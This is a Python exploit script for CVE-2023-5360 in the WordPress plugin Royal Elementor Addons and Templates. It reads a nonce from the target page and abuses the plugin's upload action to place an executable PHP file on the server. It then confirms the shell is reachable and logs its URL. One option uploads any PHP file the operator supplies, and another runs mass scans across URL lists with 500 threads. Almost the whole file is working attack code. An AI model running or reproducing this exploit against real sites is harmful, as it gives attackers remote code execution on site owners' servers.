exploit.py

import re
import json
import random
import string
import argparse
import requests


from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

request_package = requests.packages.urllib3

request_package.disable_warnings(request_package.exceptions.InsecureRequestWarning)

console = Console()

class WPVulnScanner:
    def __init__(self, verbose=False, custom_file=None, output_file=None):
        self.session = requests.Session()
        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
            "PoC": "https://github.com/Chocapikk/CVE-2023-5360"
        }    
        self.verbose = verbose
        self.custom_file = custom_file
        self.output_file = output_file

    def custom_print(self, message, header):
        header_colors = {
            "+": "green",
            "-": "red",
            "!": "yellow",
            "*": "blue"
        }
        console.print(f"[bold {header_colors[header]}][{header}][/bold {header_colors[header]}] {message}")

    def _write_output(self, url):
        if self.output_file:
            with open(self.output_file, 'a') as file:
                file.write(url + '\n')

    def _get_nonce(self, url):
        response, _ = self._make_request(url)
        match = re.search("var\s+WprConfig\s*=\s*({.*?});", response.text)
        if match:
            nonce_json = json.loads(match.group(1))
            return nonce_json.get("nonce")
        return None

    def _make_request(self, url, nonce=None):
        try:
            random_content = None
            new_nonce = None
            
            if nonce:
                new_nonce = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
                random_content = '<?php echo "' + new_nonce + '"; ?>'
                if self.custom_file:
                    with open(self.custom_file, 'rb') as f:
                        file_content = random_content.encode('utf-8') + f.read()
                else:
                    file_content = random_content.encode('utf-8')

                if self.verbose:
                    if self.custom_file:
                        self.custom_print(f"Sending request with payload from file: {self.custom_file}", "*")
                    else:
                        self.custom_print(f"Sending request with payload: {random_content}", "*")


                files = {
                    "uploaded_file": ("poc.ph$p", file_content)
                }
                data = {
                    "action": "wpr_addons_upload_file",
                    "max_file_size": 0,
                    "allowed_file_types": "ph$p",
                    "triggering_event": "click",
                    "wpr_addons_nonce": nonce
                }
                response = self.session.post(url, headers=self.headers, files=files, data=data, verify=False, timeout=3)
            else:
                response = self.session.get(url, headers=self.headers, verify=False, timeout=3)
            
            return response, new_nonce

        except requests.exceptions.RequestException as e:
            if self.verbose:
                self.custom_print(f"Request error for {url}: {e}", "-")
            return None, None

    def plugin_exists(self, url):
        readme_url = f"{url}/wp-content/plugins/royal-elementor-addons/readme.txt"
        response, _ = self._make_request(readme_url)
        if response and response.status_code == 200:
            return "Royal Elementor Addons and Templates" in response.text
        return False

    def check_vulnerability(self, url):
        try:
            if not self.plugin_exists(url):
                if self.verbose:
                    self.custom_print(f"Plugin 'royal-elementor-addons' not found at {url}. Skipping...", "-")
                return None

            if self.verbose:
                self.custom_print(f"Scanning {url}", "*")
                
            nonce = self._get_nonce(url)
            
            if nonce and self.verbose:
                self.custom_print(f"Nonce found: {nonce}", "!")
            
            if nonce:
                ajax_url = f"{url}/wp-admin/admin-ajax.php"
                response, new_nonce = self._make_request(ajax_url, nonce)
                    
                if self.verbose:
                    self.custom_print(f"Sent request to {ajax_url} with nonce: {nonce}", "*")
                    
                try:
                    json_response = json.loads(response.text)
                except json.JSONDecodeError:
                    if self.verbose:
                        self.custom_print(f"Unexpected server response for {url}. Not in JSON format.", "-")
                    return None
                    
                if json_response and json_response.get("success"):
                    shell_url = json_response["data"]["url"]
                    shell_response, _ = self._make_request(shell_url)

                    if shell_response.status_code == 200 and new_nonce.strip() in shell_response.text.strip():
                        self._write_output(shell_url)
                        return (f"CVE-2023-5360 detected for {shell_url}", "+")
                        
                    else:
                        if self.verbose:
                            self.custom_print(f"Failed to upload shell for {url}", "-")
                else:
                    if self.verbose:
                        self.custom_print(f"No nonce found for {url}", "-")
        except Exception as e:
            if self.verbose:
                self.custom_print(f"Error during vulnerability check for {url}: {e}", "-")   
        
        return None        

def initialize_options():
    parser = argparse.ArgumentParser(description="WordPress Royal Elementor Addons and Templates Exploit (CVE-2023-5360)")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Scan a single URL")
    group.add_argument("-l", "--list", help="Scan a list of URLs from a file")
    parser.add_argument("-v", "--verbose", help="Verbose mode (only with -u/--url)", action="store_true")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
    parser.add_argument("-f", "--file", help="Custom PHP file to upload", default=None)
    return parser.parse_args()

def main():
    args = initialize_options()
    scanner = WPVulnScanner(verbose=args.verbose, custom_file=args.file, output_file=args.output)

    if args.url:
        result = scanner.check_vulnerability(args.url)
        if result:
            scanner.custom_print(result[0], result[1])

    elif args.list:
        with open(args.list, 'r') as file:
            urls = [url.strip() for url in file.readlines()]

        with ThreadPoolExecutor(max_workers=500) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
            futures = {executor.submit(scanner.check_vulnerability, url): url for url in urls}
            for future in as_completed(futures):
                result = future.result()
                if result:
                    scanner.custom_print(result[0], result[1])
                bar()

if __name__ == "__main__":
    main()